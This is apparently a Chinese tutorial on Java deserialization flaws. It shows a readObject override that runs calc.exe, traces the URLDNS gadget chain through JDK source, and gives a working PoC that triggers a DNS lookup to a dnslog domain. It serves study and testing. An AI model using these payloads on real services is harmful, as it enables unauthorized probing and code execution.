Java反序列化
学习文章:
基础概念
Java对象序列化:将一个Java类实例序列化成字节数组,用于存储对象实例化信息:类成员变量和属性值
- ObjectOutputStream类的 writeObject() 方法可以实现序列化
Java反序列化:将序列化后的二进制数组转换为对应的Java类实例
- ObjectInputStream 类的 readObject() 方法用于反序列化。
Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于
Socket
传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)
和JMX(Java管理扩展-Java Management Extensions)
服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。
在Java中,任意一个对象只要实现了Serilizable
接口(class xxx implements Serializable{}
)就可以被序列化,这个类的所有属性和方法都会自动序列化(使用transient
包裹的对象不参与序列化过程,无法被序列化)
示例
首先编写一个类实现Serializable
接口
Person.java
import java.io.Serializable;
public class Person implements Serializable{
String name;
String skill;
public Person(String name,String skill){
this.name=name;
this.skill=skill;
}
public String getName(){
return name;
}
public String getSkill(){
return skill;
}
}
编写Serialize类实现序列化
import java.io.*;
public class Serialize {
public static void main(String[] args) throws Exception {
Person person = new Person("Parar","Web");
byte[] serializeData = serialize(person);
FileOutputStream fout = new FileOutputStream("Person.bin");//将序列化后的数据写入到文件Person.bin中
fout.write(serializeData);
fout.close();
}
public static byte[] serialize(final Object obj) throws Exception{
ByteArrayOutputStream btout = new ByteArrayOutputStream(); // 创建btout对象,将写入数据保存到一个字节数组中
ObjectOutputStream objOut = new ObjectOutputStream(btout); // 将对象序列化为字节流,将字节写如不到btout所关联的字节数组
objOut.writeObject(obj); // 使用writeObject反序列化对象
return btout.toByteArray(); // 返回字节数组
}
}
运行后查看Person.bin
结果如下
编写Unserialize类实现反序列化
import java.io.*;
public class Unserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person parar = null;
FileInputStream fileIn = new FileInputStream("E:\Java\Serialize\Person.bin");//打开一个文件输入流
ObjectInputStream in = new ObjectInputStream(fileIn);
parar = (Person) in.readObject();
System.out.println("Name : "+parar.getName()+" ; Kill : "+parar.getSkill());
}
}
反序列化漏洞
重点:readObject()方法
从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。
Java反序列化通过readObject()方法进行实现,因此通过重写readObject()方法,向其中插入恶意代码,则能造成攻击
有时也会使用readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。
测试:在Person.java文件中重写readObject方法,添加以下代码
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();//执行默认的readObject方法
Runtime.getRuntime().exec("calc.exe");//执行恶意代码(调出计算器)
}
重新序列化和反序列化,即可注入恶意命令,调出计算器
ysoserialize
⼀个Java反序列化⼯具
它可以让用户根据自己选择的利用链 生成反序列化利用数据,通过将这些数据发送给目标 从而执行用户预先定义的命令
利用链也叫 gadget chains 一般通称gadget
gadget可以理解成一种方法 连接从出发位置开始到执行命令结束,即一种生成POC的方式
POP Gadgets指的是在通过带入序列化数据,经过一系列调用的代码链,其中POP指的是Property-Oriented Programming,即面向属性编程,和逆向那边的ROP很相似,面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。两者的不同之处在于ROP更关注底层,而POP只关注对象与对象之间的调用关系。
Gadgets是小工具的意思,POP Gadgets即为面向属性编程的利用工具、利用链。当我们确定了可以带入序列化数据的入口后,便是要寻找对应的POP链。以上提到的基础库和框架恰恰提供了可导致命令执行 POP 链的环境,所以引入了用户可控的序列化数据,并使用了不安全的基本库,就意味着存在反序列化漏洞。
随着对反序列化漏洞的深入,我们会慢慢意识到很难将不安全的基本库这一历史遗留问题完全清楚,所以清楚漏洞的根源还是在不可信的输入和未检测反序列化对象安全性。
利用ysoserial生成CC1链的POC
URLDNS
是ysoserial中利用链的一个名字,可以发起DNS请求,通常用来检测是否存在Java反序列化漏洞
特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
具体Gadget
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
利用原理:
java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求.
分析利用链
首先分析HashMap中重写的readObject()方法
private void readObject(java.io.ObjectInputStream s)//对传入的序列化数据进行反序列化
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
这段代码大致功能为从输入流中读取HashMap
对象的各种属性,并在重新初始化后将键值对放入HashMap
中
重新放入初始化后的数据采用了putVal
方法,其中调用了Hash
方法来处理key,跟进hash
方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
通过传入的键映射到哈希表中的索引位置,又调用了key.hashcode
方法,其中key为前所传入的URL,因此此时调用的为URL.hashCode()
方法,跟进URL.hashCode()
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当hashCode字段等于-1时会进行handler.hashCode(this)
计算,若如果不为-1,则直接返回
private int hashCode = -1
但hashCode
通过private
进行修饰,仅可在本类中进行修改,因此需要利用反射修改hashCode
跟进handler发现,定义是
/**
* The URLStreamHandler for this URL.
*/
transient URLStreamHandler handler;
使用了transient
关键字进行修饰,无法进行序列化
因此跟进java.net.URLStreamHandler.hashCode()
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
其中变量u
即所传入的URL,存在调用getHostAddress
方法
getHostAddress
方法
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
这段代码利用InetAddress.getByName(host)
方法进行了DNS查询,获取URL对象的主机地址
因此这里即可利用,进行dnslog查询得到记录
POC编写
首先回到最初的Hashmap#readObject
关键代码如下:
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
从输入流s
中读取对象,利用readObject()
方法进行反序列化,在此之前一定会进行一次序列化操作writeObjcxt()
查看Hashmap#writeObject
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
最后调用internalWriteEntries(s);
方法,跟进
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
从tab中提取kry以及value(tab即HashMap中table)
因此修改table的值,需要调用HashMap.put()
方法,进行存放键值对
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
而put()
方法也对key进行了调用hash()
,因此这里也会产生第一次dns查询
为了防止这里使本机与靶机的dns查询结果造成混淆,ysoserial 中使用SilentURLStreamHandler
方法,直接返回null,并不会像URLStreamHandler
那样去调用一系列方法最终到getByName
,因此也就不会触发dns查询了
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
由于这里触发dns查询的条件为hashCode != -1
,所以在本地生成payload时,可以利用反射修改hashCode的值(private)
最终完成poc如下:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNSPoc {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap(); //实例化HashMap,漏洞入口
URL url = new URL("http://parar.wqmnkdsgao.dgrh3.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");//反射调用hashCode,方便后续对值进行修改
f.setAccessible(true);
f.set(url,1);//将hash.Code修改为-1的值,阻止在本机中发起DNS查询,影响结果
System.out.println(url.hashCode());
map.put(url,1);//调用hashMap.put()方法,hashCode非-1,不触发DNS查询
f.set(url,-1);//将hashCode设置回-1
////////////////////漏洞触发//////////////////////
FileOutputStream outFile = new FileOutputStream("./serial");
ObjectOutputStream out = new ObjectOutputStream(outFile);
out.writeObject(map);//序列化hashMap对象,标准输出到./serial文件
FileInputStream inputFile = new FileInputStream("./serial");
ObjectInputStream unSer = new ObjectInputStream(inputFile);
unSer.readObject();
}
}
成功示例,完成DNS解析